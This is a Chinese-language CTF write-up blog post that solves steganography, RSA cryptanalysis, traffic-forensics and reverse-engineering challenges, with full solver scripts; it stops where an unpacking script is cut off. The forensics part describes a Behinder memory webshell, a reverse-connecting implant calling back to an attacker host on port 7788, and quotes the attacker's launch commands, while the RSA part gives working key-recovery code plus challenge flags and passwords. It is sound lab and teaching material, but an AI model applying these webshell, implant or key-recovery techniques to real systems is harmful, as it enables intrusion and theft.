Huajiの小窝.

2026软件系统安全赛 WP

2026/03/16
loading

2026软件系统安全赛 WP

steganography

解题步骤

1.查看原始文件类型

题目给的是一个没有后缀的文件:

1
file steganography_challenge

结果并不能直接识别成常见文件格式,只显示成 data

这类题第一反应就是查文件头 / 查魔数。
扫描后能发现文件内部出现了 PNG 头:

1
2
3
4
5
6
from pathlib import Path

data = Path("steganography_challenge").read_bytes()
png_sig = b'\x89PNG\r\n\x1a\n'
off = data.find(png_sig)
print(off)

能找到一个 PNG 起始位置。


2.从原始文件中切出 PNG

PNG 的结尾标志是:

1
00 00 00 00 49 45 4E 44 AE 42 60 82

也就是 IEND 块。

直接把这一段 carve 出来:

1
2
3
4
5
6
7
8
from pathlib import Path

data = Path("steganography_challenge").read_bytes()
start = data.find(b'\x89PNG\r\n\x1a\n')
end = data.find(b'\x00\x00\x00\x00IEND\xaeB`\x82') + len(b'\x00\x00\x00\x00IEND\xaeB`\x82')

png = data[start:end]
Path("recovered.png").write_bytes(png)

得到 recovered.png


3.对 PNG 做 LSB 提取

这一步核心是:
图像的 最低有效位 里藏了另一份数据。

把 PNG 读进来,按像素顺序取 RGB 的最低位,重新拼成 bitstream,再按 8 位转 byte。

实际测试后,能在 LSB 平面 里找到 ZIP 头 PK\x03\x04

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from PIL import Image
import numpy as np
from pathlib import Path

def bits_to_bytes(bits):
out = bytearray()
for i in range(0, len(bits) - 7, 8):
v = 0
for b in bits[i:i+8]:
v = (v << 1) | int(b)
out.append(v)
return bytes(out)

img = Image.open("recovered.png")
arr = np.array(img)

flat = arr.flatten() # RGBRGBRGB...
bits = (flat & 1).astype(np.uint8) # 取最低位
stream = bits_to_bytes(bits)

idx = stream.find(b'PK\x03\x04')
print(idx)

这里能找到 ZIP 头。

同时还能找到 EOCD:

1
2
eocd = stream.find(b'PK\x05\x06')
print(eocd)

于是把 ZIP 切出来:

1
2
zip_bytes = stream[idx:eocd+22]
Path("hidden.zip").write_bytes(zip_bytes)

4.解开提取的 ZIP

查看内容:

1
2
3
4
import zipfile

zf = zipfile.ZipFile("hidden.zip")
print(zf.namelist())

会得到:

1
['flag.zip', 'pass1.zip', 'pass2.zip', 'pass3.zip', 'pass4.zip', 'pass5.zip', 'pass6.zip']

题目还没结束,真正的密码被拆到几个小 ZIP 里了。


5. 直接提取pass1.zip ~ pass6.zip的信息

本题最关键的点。

虽然 pass*.zip 是加密 ZIP,不能直接读内容,但 ZIP 的目录信息会泄露两个很关键的数据:

  • CRC32
  • 原文件大小

查看信息:

1
2
3
4
5
6
7
import zipfile
from pathlib import Path

for name in [f"pass{i}.zip" for i in range(1, 7)]:
zf = zipfile.ZipFile(name)
info = zf.infolist()[0]
print(name, hex(info.CRC), info.file_size)

能看到每个压缩包里只有一个文件,而且:

  • file_size = 4
  • CRC32 已知

也就是说每个加密文件的明文只有 4 个字节。


6.利用 CRC32 反推 4 字节明文

CRC32 对固定长度的消息来说,本质上是一个 GF(2) 上的线性变换。
这里长度只有 4 字节,也就是 32 bit,正好可以把它写成一个 32x32 线性方程组 去解。

题意上就是:

已知 crc32(某 4 字节明文) = target,求这 4 个字节。

下面是可直接复现的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import zlib

base = zlib.crc32(b'\x00\x00\x00\x00') & 0xffffffff

# 构造 32x32 矩阵
rows = []
for outbit in range(32):
coeff = 0
for inbit in range(32):
msg = bytearray(4)
msg[inbit // 8] = 1 << (inbit % 8)
delta = (zlib.crc32(bytes(msg)) & 0xffffffff) ^ base
if (delta >> outbit) & 1:
coeff |= 1 << inbit
rows.append(coeff)

def solve_crc32_4bytes(target):
rhs = target ^ base
mat = [[rows[i], (rhs >> i) & 1] for i in range(32)]

r = 0
pivots = []
for c in range(32):
pivot = None
for i in range(r, 32):
if (mat[i][0] >> c) & 1:
pivot = i
break
if pivot is None:
continue

mat[r], mat[pivot] = mat[pivot], mat[r]

for i in range(32):
if i != r and ((mat[i][0] >> c) & 1):
mat[i][0] ^= mat[r][0]
mat[i][1] ^= mat[r][1]

pivots.append((r, c))
r += 1

x = 0
for rr, cc in pivots:
if mat[rr][1]:
x |= 1 << cc

msg = x.to_bytes(4, 'little')
assert (zlib.crc32(msg) & 0xffffffff) == target
return msg

targets = [
0xce70d424,
0xf90c8a70,
0xff3fe4bb,
0x242a5387,
0x9a27098e,
0xd3f6df9f,
]

for t in targets:
m = solve_crc32_4bytes(t)
print(hex(t), m, m.decode('latin1'))

输出为:

1
2
3
4
5
6
0xce70d424 b'pass' pass
0xf90c8a70 b' is ' is
0xff3fe4bb b'c1!x' c1!x
0x242a5387 b'xtLf' xtLf
0x9a27098e b'%fXY' %fXY
0xd3f6df9f b'PkaA' PkaA

拼起来就是:

1
pass is c1!xxtLf%fXYPkaA

真正用于解 flag.zip 的密码显然是后半段:

1
c1!xxtLf%fXYPkaA

7.用密码解开 flag.zip
1
2
3
4
5
6
7
import zipfile

pwd = b'c1!xxtLf%fXYPkaA'

zf = zipfile.ZipFile("flag.zip")
data = zf.read("flag.txt", pwd=pwd)
print(data)

内容没有直接给出 flag,而是flag is here与一些不可打印字符


8.提取零宽字符

单独提取 flag.txt 里的零宽字符:

1
2
3
4
5
text = data.decode("utf-8")

zw = ''.join(ch for ch in text if ch in '\u200b\u200c')
print(len(zw))
print(sorted(set(hex(ord(c)) for c in zw)))

只有两种字符:

  • U+200B:Zero Width Space
  • U+200C:Zero Width Non-Joiner

推测为二进制编码。


9.将零宽字符转成二进制

尝试映射:

  • \u200b -> 0
  • \u200c -> 1

然后每 8 位转 ASCII:

1
2
3
bits = zw.replace('\u200b', '0').replace('\u200c', '1')
flag = ''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8))
print(flag)
最终结果

输出:

1
dart{bf4100d9-cc8d-48f6-a095-54cbfad189e1}

rsa

Level 1

分析

题目声称使用 Asmuth-Bloom 秘密共享,但实际查看 generate-plaintexts.py 可发现 share 只是:

1
2
ki = S % di
share_str = f"{di:x}:{ki:x}:{original_bits:x}"

这不是门限秘密共享,而是直接泄露了同一个 S 在多个模数下的余数。只要拿到足够多组 (S mod di),且这些模数的乘积超过 S,就可直接用 CRT 还原。

这一层真正的难点在 RSA。检查所有公钥后可以发现:

  • key-1.pemkey-2.pem 共享素因子
  • key-4.pemkey-15.pem 共享素因子
  • key-6.pemkey-12.pemkey-17.pem 存在 Wiener 弱点
  • encrypt.py 中只有 n_bits >= 2048 才走 OAEP,2047 位密钥走的是裸 RSA 加 AES-GCM

因此可以恢复若干私钥,尝试解所有密文,最终解出:

  • ciphertext-2.bin
  • ciphertext-3.bin
  • ciphertext-5.bin
  • ciphertext-8.bin

每份明文里都包含 message2 ~ message10 的一组同余。把同一条消息在不同明文中的 share 收集起来后,用 CRT 即可还原出真实 message。

message7中有 hint:

1
Congratulations! next pass is 9Zr4M1ThwVCHe4nHnmOcilJ8。

于是level2.zip 密码为:

1
9Zr4M1ThwVCHe4nHnmOcilJ8
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pathlib import Path
from math import gcd, isqrt
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
from Crypto.Util.number import bytes_to_long, long_to_bytes

base = Path("level1")
keys = {p.name: RSA.import_key(p.read_bytes()) for p in base.glob("key-*.pem")}
cts = {p.name: p.read_bytes() for p in base.glob("ciphertext-*.bin")}

def cf(num, den):
while den:
a = num // den
yield a
num, den = den, num - a * den

def convergents(seq):
n0, d0 = 1, 0
n1, d1 = seq[0], 1
yield n1, d1
for a in seq[1:]:
n0, n1 = n1, a * n1 + n0
d0, d1 = d1, a * d1 + d0
yield n1, d1

def wiener(n, e):
seq = list(cf(e, n))
for k, d in convergents(seq):
if k == 0 or (e * d - 1) % k:
continue
phi = (e * d - 1) // k
s = n - phi + 1
delta = s * s - 4 * n
if delta < 0:
continue
t = isqrt(delta)
if t * t != delta:
continue
if (s + t) & 1:
continue
p = (s + t) // 2
q = (s - t) // 2
if p * q == n:
return d, p, q
return None

def recover_privs():
out = {}

g = gcd(keys["key-1.pem"].n, keys["key-2.pem"].n)
for name in ["key-1.pem", "key-2.pem"]:
k = keys[name]
p, q = g, k.n // g
phi = (p - 1) * (q - 1)
d = pow(k.e, -1, phi)
out[name] = RSA.construct((k.n, k.e, d, p, q))

g = gcd(keys["key-4.pem"].n, keys["key-15.pem"].n)
for name in ["key-4.pem", "key-15.pem"]:
k = keys[name]
p, q = g, k.n // g
phi = (p - 1) * (q - 1)
d = pow(k.e, -1, phi)
out[name] = RSA.construct((k.n, k.e, d, p, q))

for name in ["key-6.pem", "key-12.pem", "key-17.pem"]:
k = keys[name]
res = wiener(k.n, k.e)
if res:
d, p, q = res
out[name] = RSA.construct((k.n, k.e, d, p, q))
return out

def decrypt(priv, data):
n_bits = priv.n.bit_length()
klen = (n_bits + 7) // 8
head = data[:klen]
nonce = data[klen:klen + 12]
body = data[klen + 12:-16]
tag = data[-16:]

if n_bits >= 2048:
sym = PKCS1_OAEP.new(priv).decrypt(head)
else:
sym = long_to_bytes(pow(bytes_to_long(head), priv.d, priv.n), 16)

return AES.new(sym, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(body, tag)

def crt(congs):
x, m = congs[0]
for a, mod in congs[1:]:
t = ((a - x) % mod) * pow(m, -1, mod) % mod
x += m * t
m *= mod
return x

privs = recover_privs()
plaintexts = {}

for kname, priv in privs.items():
for cname, data in cts.items():
try:
pt = decrypt(priv, data).decode()
plaintexts[cname] = pt
print("[+] decrypted", cname, "with", kname)
except Exception:
pass

shares = {}
for _, pt in plaintexts.items():
lines = pt.strip().splitlines()[1:]
for idx, line in enumerate(lines, start=2):
mod_s, rem_s, bits_s = line.split(":")
shares.setdefault(idx, []).append((int(rem_s, 16), int(mod_s, 16), int(bits_s, 16)))

for idx in range(2, 11):
congs = [(r, m) for r, m, _ in shares[idx]]
bits = shares[idx][0][2]
s = crt(congs)
raw = long_to_bytes(s)
if len(raw) < bits // 8:
raw = b"\x00" * (bits // 8 - len(raw)) + raw
print(f"message{idx} =", raw.decode())

msg7 = long_to_bytes(crt([(r, m) for r, m, _ in shares[7]])).decode()
print("level2 password =", msg7.split("next pass is ", 1)[1].rstrip("。"))
运行结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[+] decrypted ciphertext-8.bin with key-1.pem
[+] decrypted ciphertext-3.bin with key-4.pem
[+] decrypted ciphertext-2.bin with key-6.pem
[+] decrypted ciphertext-5.bin with key-17.pem
message2 = Another success! One more cipher bites the dust!
message3 = You're nearly there! Keep going! 3!
message4 = You're nearly there! Keep going! 4!
message5 = You're nearly there! Keep going! 5!
message6 = You're nearly there! Keep going! 6!
message7 = Congratulations! next pass is 9Zr4M1ThwVCHe4nHnmOcilJ8。
message8 = You're nearly there! Keep going! 8!
message9 = You're nearly there! Keep going! 9!
message10 = You're nearly there! Keep going! 10!
level2 password = 9Zr4M1ThwVCHe4nHnmOcilJ8

Level 2

分析

第二层 task.py 中:

  • n 为 1024 位
  • d = getPrime(180),私钥指数非常小
  • e = invert(d, lam),这里使用的是 Carmichael 函数 lambda(n),不是 phi(n)

这会导致直接套标准 Wiener 时,不一定立刻得到真实 d,而是更可能得到一个 D = d * g,其中 g = gcd(p - 1, q - 1) 往往很小。

题目给了一个已知明文密文对:

1
2
m1 = bytes_to_long(b"Secret message: " + b"A" * 16)
c1 = pow(m1, e, n)

故可以这样处理:

  1. 枚举 e / n 的连分数收敛分母 D
  2. 枚举小的 g
  3. 检查 pow(c1, D // g, n) == m1
  4. 一旦找到真实 d,利用 ed - 1 的标准分解算法恢复 pq
  5. 输出 sha256(str(p + q)),得到 level3.zip 密码
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import hashlib
from math import gcd
from Crypto.Util.number import bytes_to_long

n = 99573363048275234764231402769464116416087010014992319221201093905687439933632430466067992037046120712199565250482197004301343341960655357944577330885470918466007730570718648025143561656395751518428630742587023267450633824636936953524868735263666089452348466018195099471535823969365007120680546592999022195781
e = 12076830539295193533033212232487568888200963123024189287629493480058638222146972496110814372883829765692623107191129306190788976704250502316265439996891764101447017190377014980293589797403095249538391534986638973035285900867548420192211241163778919028921502305790979880346050428839102874086046622833211913299
c1 = 88537483899519116785221065592618063396859368769048931371104532271282451393564912999388648867349770059882231896252136530442609316120059139869000411598215669228402275014417736389191093818032356471508269901358077592526362193180661405990147957408129845474938259771860341576649904811782733150222504695142224907008
m1 = bytes_to_long(b"Secret message: " + b"A" * 16)

def cf(num, den):
while den:
a = num // den
yield a
num, den = den, num - a * den

def convergents(seq):
n0, d0 = 1, 0
n1, d1 = seq[0], 1
yield n1, d1
for a in seq[1:]:
n0, n1 = n1, a * n1 + n0
d0, d1 = d1, a * d1 + d0
yield n1, d1

def factor_from_d(n, e, d):
k = e * d - 1
s = 0
while k % 2 == 0:
k //= 2
s += 1

for a in range(2, 100):
x = pow(a, k, n)
if x in (1, n - 1):
continue
for _ in range(s):
y = pow(x, 2, n)
if y == 1:
p = gcd(x - 1, n)
if 1 < p < n:
return p, n // p
if y == n - 1:
break
x = y
raise ValueError("factor failed")

real_d = None
for _, D in convergents(list(cf(e, n))):
for g in range(1, 65):
if D % g:
continue
d = D // g
if pow(c1, d, n) == m1:
real_d = d
print("[+] found d, extra factor g =", g)
break
if real_d:
break

p, q = factor_from_d(n, e, real_d)
print("[+] p + q =", p + q)
print("level3 password =", hashlib.sha256(str(p + q).encode()).hexdigest())
运行结果
1
2
3
[+] found d, extra factor g = 4
[+] p + q = 20040590990441756147542980769123691298193659346987501248289916354267831170706046766308405761434502569356257227320101974536115462063290385942964145153342918
level3 password = 2aa9c360df99cbb4209e4dbab5a9f9ffd86d34906e3206fecfdabf0bb7aeb5ac

Level 3

分析

第三层给出:

  • n
  • e = 65537
  • c
  • 一个复杂的 leak

leak 由乘法、异或、位运算混合构成,结构混乱,但具有一个关键性质:

  • 只考虑 mod 2^k 时,leak mod 2^k 只依赖于 pq 的低 k 位。

同时我们还知道:

1
p * q ≡ n (mod 2^k)

因此可以从最低位开始逐位恢复 pq

  1. pq 都是奇素数,最低位一定为 1
  2. 假设已知低 k - 1 位,则第 k 位只有四种组合可以枚举
  3. 保留同时满足
    • p * q mod 2^k == n mod 2^k
    • leak(p, q) mod 2^k == leak mod 2^k
      的候选
  4. 继续向高位扩展,直到恢复完整 1536 位 pq

这题的数据很强,整个恢复过程中候选数量始终为 1。

最后再正常计算私钥并解密即可得到 flag。

Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from Crypto.Util.number import long_to_bytes

n = 3656543170780671302102369785821318948521533232259598029746397061108006818468053676291634112787611176554924353628972482471754519193717232313848847744522215592281921147297898892307445674335249953174498025904493855530892785669281622228067328855550222457290704991186404511294392428626901071668540517391132556632888864694653334853557764027749481199416901881332307660966462957016488884047047046202519520508102461663246328437930895234074776654459967857843207320530170144023056782205928948050519919825477562514594449069964098794322005156920839848615481717184615581471471105167310877784107653826948801838083937060929103306952084786982834242119877046219260840966142997264676014575104231122349770882974818427591538551719990220347345614399639643257685591321500648437402084919467346049683842042993975696447711080289559063959271045082506968532103445241637971734173037224394103944153692310048043693502870706225319787902231218954548412018259
e = 65537
c = 1757914668604154089701710446907445787512346500378259224658947923217272944211214757488735053484213917067698715050010452193463598710989123020815295814709518742755820383364097695929549366414223421242599840755441311771835982431439073932340356341636346882464058493459455091691653077847776771631560498930589569988646613218910231153610031749287171649152922929066828605655570431656426074237261255561129432889318700234884857353891402733791836155496084825067878059001723617690872912359471109888664801793079193144489323455596341708697911158942505611709946252101670450796550313079139560281843612045681545992626944803230832776794454353639122595107671267859292222861367326121435154862607517890329925621367992667728899878422037182817860641530146234730196633237339901726508906733897556146751503097127672718192958642776389691940671356367304182825433592577899881444815062581163386947075887218537802483045756886019426749855723715192981635971943
leak = 153338022210585970687495444409227961261783749570114993931231317427634321118309600575903662678286698071962304436931371977179197266063447616304477462206528342008151264611040982873859583628234755013757003082382562012219175070957822154944231126228403341047477686652371523951028071221719503095646413530842908952071610518530005967880068526701564472237686095043481296201543161701644160151712649014052002012116829110394811586873559266763339069172495704922906651491247001057095314718709634937187619890550086009706737712515532076

CONST1 = 0xDEADBEEFCAFEBABE123456789ABCDEFFEDCBA9876543210
CONST2 = 0xCAFEBABEDEADBEEF123456789ABCDEF0123456789ABCDEF
CONST3 = 0x123456789ABCDEFFEDCBA9876543210FEDCBA987654321
MASK64 = (1 << 64) - 1

def leak_lowbits(p, q, k):
mask = (1 << k) - 1
part = (
(p * CONST1) ^
(q * CONST2) ^
(((p & q) << 64) & mask) ^
(((p | q) << 48) & mask) ^
((p ^ q) * CONST3)
) & mask
return (((part + ((p + q) & ((1 << 128) - 1))) & mask) ^ (n & MASK64)) & mask

states = {(1, 1)}
for k in range(2, 1537):
target_n = n & ((1 << k) - 1)
target_l = leak & ((1 << k) - 1)
bit = 1 << (k - 1)
nxt = set()

for p, q in states:
for bp in (0, bit):
for bq in (0, bit):
pp, qq = p | bp, q | bq
if (pp * qq) & ((1 << k) - 1) != target_n:
continue
if leak_lowbits(pp, qq, k) != target_l:
continue
nxt.add((pp, qq))

states = nxt
if k % 256 == 0:
print("[+] k =", k, "states =", len(states))

p, q = next(iter(states))
assert p * q == n

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
flag = long_to_bytes(pow(c, d, n)).decode()
print("flag =", flag)
运行结果
1
2
3
4
5
6
7
[+] k = 256 states = 1
[+] k = 512 states = 1
[+] k = 768 states = 1
[+] k = 1024 states = 1
[+] k = 1280 states = 1
[+] k = 1536 states = 1
flag = dart{379c9308-e9a8-45a1-bd55-45bbd822e86d}

最终结果

1
2
3
level2.zip password = 9Zr4M1ThwVCHe4nHnmOcilJ8
level3.zip password = 2aa9c360df99cbb4209e4dbab5a9f9ffd86d34906e3206fecfdabf0bb7aeb5ac
flag = dart{379c9308-e9a8-45a1-bd55-45bbd822e86d}

溯源反制 (流量分析)

traffic_hunt

解题步骤

1.初步判断流量结构
  • 先看整体协议与会话:
1
2
tshark -r traffic_hunt.pcapng -q -z http,stat
tshark -r traffic_hunt.pcapng -q -z conv,tcp
  • 可以看出有两段关键流量:
  1. 10.1.243.155 -> 10.1.33.69:8080 的 HTTP 攻击流量
  2. 10.1.33.69:38162 -> 10.1.243.155:7788 的 TCP 回连流量
  • 分别对应目录扫描和木马投递,以及木马启动后的控制流量。
2.从 HTTP 中定位 WebShell / 内存马
  • 导出 HTTP 对象:
1
tshark -r traffic_hunt.pcapng --export-objects http,/tmp/traffic_http
  • 在 HTTP POST 中可以发现一个关键请求,请求头包含:
1
2
3
p: HWmc2TLDoihdlr0N
path: /favicondemo.ico
Cookie: rememberMe=...
  • 请求体以 user=yv66vgAA... 开头。

  • yv66vgAA 是 Java class 文件的 Base64 特征,说明攻击者上传了一个字节码 payload。将该对象解码后反编译,可以确认是一个 Behinder 内存马过滤器 BehinderFilter

  • 关键逻辑是:

1
2
3
Pwd = md5(request.getHeader("p")).substring(0,16)
path = request.getHeader("path")
Cipher.getInstance("AES")
  • 因此后续 /favicondemo.ico 的通信密钥不是类里的默认值,而是:
1
md5("HWmc2TLDoihdlr0N")[:16] = 1f2c8075acd3d118
  • 也就是说,发往 /favicondemo.ico 的 body 都可以用该 key 按 Java 默认 AES/ECB/PKCS5Padding 解密。
3.解密 Behinder 流量并还原上传文件
  • 批量解密 /favicondemo*.ico 后,可以发现大量 payload 都是 Behinder 的 FileOperation 类,类中包含:
1
2
3
4
5
mode = "update"
path = "/var/tmp/out"
blockIndex = ...
blockSize = "30720"
content = (base64分块数据)
  • 这说明攻击者通过 Behinder 将文件 /var/tmp/out 分块上传到了靶机。

  • 还原方法:

  1. 逐个解密所有 FileOperation
  2. 提取 blockIndexblockSizecontent
  3. content 做 Base64 解码
  4. blockIndex * blockSize 写入对应位置
  5. 重组出完整的 /var/tmp/out
  • 重建结果得到的文件大小为10790868 , MD5为a0275c1593af1adba1d92d252ce1462d

  • 而 Behinder 返回中还出现过:

1
a0275c1593af1adb
  • 这正好是该 MD5 的前 16 位,说明文件重建正确。
4.分析 /var/tmp/out
  • 先看文件类型:
1
file /tmp/reconstructed_out
  • 得到:
1
ELF 64-bit executable
  • 查看程序中的字符串,能发现明显的:
1
This file is packed with the UPX executable packer
  • 说明样本先被 UPX 加壳。解壳之后再分析,发现它并不是普通原生程序,而是一个 PyInstaller 打包的 Python 样本。

  • 将其提取后,关键脚本是:

1
2
implant.pyc
settings.pyc
  • 反汇编分析主要逻辑:
  1. 主动回连 10.1.243.155:7788
  2. 使用 AES-GCM 加密通信
  3. 协议格式为:
1
4字节长度(小端) + nonce(12字节) + ciphertext + tag
  1. 收到命令后直接通过 subprocess.Popen(..., shell=True) 执行
  2. 再把执行结果加密后发回去
5.从 Behinder 命令中找出样本启动方式
  • 继续看已经解密出的 Behinder payload,可以找到执行命令:
1
2
cd /var/tmp/ ;chmod +x out
cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=
  • 因此回连流量 7788/TCP 所用的 AES-GCM 密钥就是:
1
IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=
6.解密 7788 端口的回连流量
  • 定位对应的 TCP stream
1
tshark -r traffic_hunt.pcapng -Y 'tcp.port == 7788' -T fields -e tcp.stream -e frame.number -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport
  • 关键流是:
1
tcp.stream == 40563
  • 再提取有载荷的包:
1
tshark -r traffic_hunt.pcapng -Y 'tcp.stream == 40563 && tcp.len > 0' -T fields -e frame.number -e ip.src -e tcp.len -e tcp.payload
  • 然后按样本协议解析:
  1. 先读 4 字节小端长度
  2. 再读取对应长度的数据
  3. 前 12 字节作为 nonce
  4. 剩余部分作为 ciphertext || tag
  5. --aes-key 对应的 key 执行 AES-GCM 解密
  • 解密后得到攻击者的真实命令和回显:
1
2
3
4
5
pwd                      -> /var/tmp
ls -> out
echo Congratulations -> Congratulations
echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
echo bye -> bye
  • 长度非4的整数倍,尝试常见编码后发现 echo 的字符串是 Base58(Bitcoin) 编码。解码后得到:
1
ZGFydHtkOTg1MGIyNy04NWNiLTQ3NzctODVlMC1kZjBiNzhmZGI3MjJ9
  • 4的整数倍,再做一次 Base64 解码,得到最终结果

最终结果:

1
dart{d9850b27-85cb-4777-85e0-df0b78fdb722}

re1

结果

flag 为 dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}

分析过程

  • 分析 Loadermain (0x2a5d)的执行逻辑 :先检查 video.mp4,再把内嵌的 Base64 串解码成 stager.pyc,写入文件、chmod 赋予755权限,最后通过 system("python3 stager.pyc") 执行。
  • base64_decode (0x26a4) 是标准 Base64;run_python_script (0x29a9) 拼接 python3 前缀。
  • 反编译 stager.pyc 得到其逻辑:读取名为 payload 的文件,把每个字节先异或 0xAA,再按 bit 映射成 8x8 黑白块,生成 640x480fps=10video.mp4。据此从 video.mp4 反向恢复payload
  • video.mp4 还原出二阶段 ELF的 .rodata 里有中文提示:“下面展示每个 MD5 值对应一个 ASCII 字符”“按顺序组合这些字符即可得到 flag”。
  • 依照提示把这些 MD5 逐个反查为“单字节 ASCII 的 MD5”,拼出来就是最终 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import argparse
import hashlib
import struct
from pathlib import Path

import cv2


def decode_video_to_payload(video_path: Path, block_size: int = 8) -> bytes:
cap = cv2.VideoCapture(str(video_path))
if not cap.isOpened():
raise RuntimeError(f"failed to open video: {video_path}")

bits = []
try:
while True:
ok, frame = cap.read()
if not ok:
break

gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
for row in range(0, gray.shape[0], block_size):
for col in range(0, gray.shape[1], block_size):
# Sample the center area to tolerate H.264 compression noise.
cell = gray[row + 2 : row + 6, col + 2 : col + 6]
bits.append("1" if float(cell.mean()) < 128 else "0")
finally:
cap.release()

out = bytearray()
bit_string = "".join(bits)
for idx in range(0, len(bit_string), 8):
chunk = bit_string[idx : idx + 8]
if len(chunk) < 8:
break
out.append(int(chunk, 2) ^ 0xAA)
return bytes(out)


def read_elf_sections(data: bytes) -> dict[str, tuple[int, int, int]]:
if data[:4] != b"\x7fELF":
raise ValueError("payload is not an ELF file")

shoff = int.from_bytes(data[40:48], "little")
shentsize = int.from_bytes(data[58:60], "little")
shnum = int.from_bytes(data[60:62], "little")
shstrndx = int.from_bytes(data[62:64], "little")

sections = []
for idx in range(shnum):
off = shoff + idx * shentsize
sections.append(struct.unpack("<IIQQQQIIQQ", data[off : off + 64]))

shstr = sections[shstrndx]
shstr_data = data[shstr[4] : shstr[4] + shstr[5]]

result: dict[str, tuple[int, int, int]] = {}
for section in sections:
name_off = section[0]
name_end = shstr_data.find(b"\x00", name_off)
name = shstr_data[name_off:name_end].decode()
result[name] = (section[3], section[4], section[5])
return result


def recover_flag_from_payload(payload: bytes) -> str:
sections = read_elf_sections(payload)
ro_addr, ro_off, ro_size = sections[".rodata"]
data_addr, data_off, data_size = sections[".data"]

ro_bytes = payload[ro_off : ro_off + ro_size]
data_bytes = payload[data_off : data_off + data_size]

ptrs = []
for off in range(0x20, len(data_bytes), 8):
ptr = int.from_bytes(data_bytes[off : off + 8], "little")
if ro_addr <= ptr < ro_addr + ro_size:
ptrs.append(ptr)

md5_to_byte = {hashlib.md5(bytes([value])).hexdigest(): value for value in range(256)}

chars = []
for ptr in ptrs:
string_off = ptr - ro_addr
string_end = ro_bytes.find(b"\x00", string_off)
md5_text = ro_bytes[string_off:string_end].decode()
if md5_text not in md5_to_byte:
raise ValueError(f"unsupported MD5 entry: {md5_text}")
chars.append(md5_to_byte[md5_text])

return bytes(chars).decode("latin1")


def main() -> None:
parser = argparse.ArgumentParser(description="Solve re1 from video.mp4")
parser.add_argument(
"video",
nargs="?",
default=r"C:\Users\huaji\Desktop\eater\ccsssc\re1\video.mp4",
help="path to the challenge video",
)
parser.add_argument(
"--payload-out",
default=r"d:\code\temp\payload_stage2",
help="where to write the recovered ELF payload",
)
args = parser.parse_args()

video_path = Path(args.video)
payload = decode_video_to_payload(video_path)
Path(args.payload_out).write_bytes(payload)

flag = recover_flag_from_payload(payload)
print(f"video: {video_path}")
print(f"payload: {args.payload_out}")
print(f"flag: {flag}")


if __name__ == "__main__":
main()

最终结果

1
flag: dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}

re2

题目信息

附件 challenge.exe,有类似UPX的压缩壳


分析过程

这题本质上分成两层:

  • 第一层是手写壳,负责解压、修复导入、跳转到真实程序
  • 第二层是真正的校验程序,额外把关键代码节和数据节做了 RC4 保护
一、初步分析

先看文件结构:

1
2
file challenge.exe
objdump -x challenge.exe

可以看到它是一个 64 位 PE,只有 3 个自定义节:

  • CTF0
  • CTF1
  • CTF2

导入表非常小,只剩几个壳常用 API:

  • LoadLibraryA
  • GetProcAddress
  • VirtualProtect
  • ExitProcess

同时存在 TLS 目录,这也是壳题里常见的特征。

入口点在 0x4156c0,反汇编后可以看到典型的解压 stub:

  • 0x40f025 开始读取压缩流
  • 解压到 0x401000
  • 修复相对跳转
  • 动态解析导入
  • 调整页属性
  • 最后跳转到 0x4014e0

需要手动脱壳


二、第一层壳的处理

unicorn 仿真壳代码。

  1. 手动把 challenge.exe 映射到内存
  2. 给壳需要的 IAT 项补上伪造的 API 地址
  3. 钩住 LoadLibraryA / GetProcAddress / VirtualProtect
  4. 跑到壳完成解压的位置 0x4158d1
  5. 把此时的内存镜像整体 dump 出来

使用的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
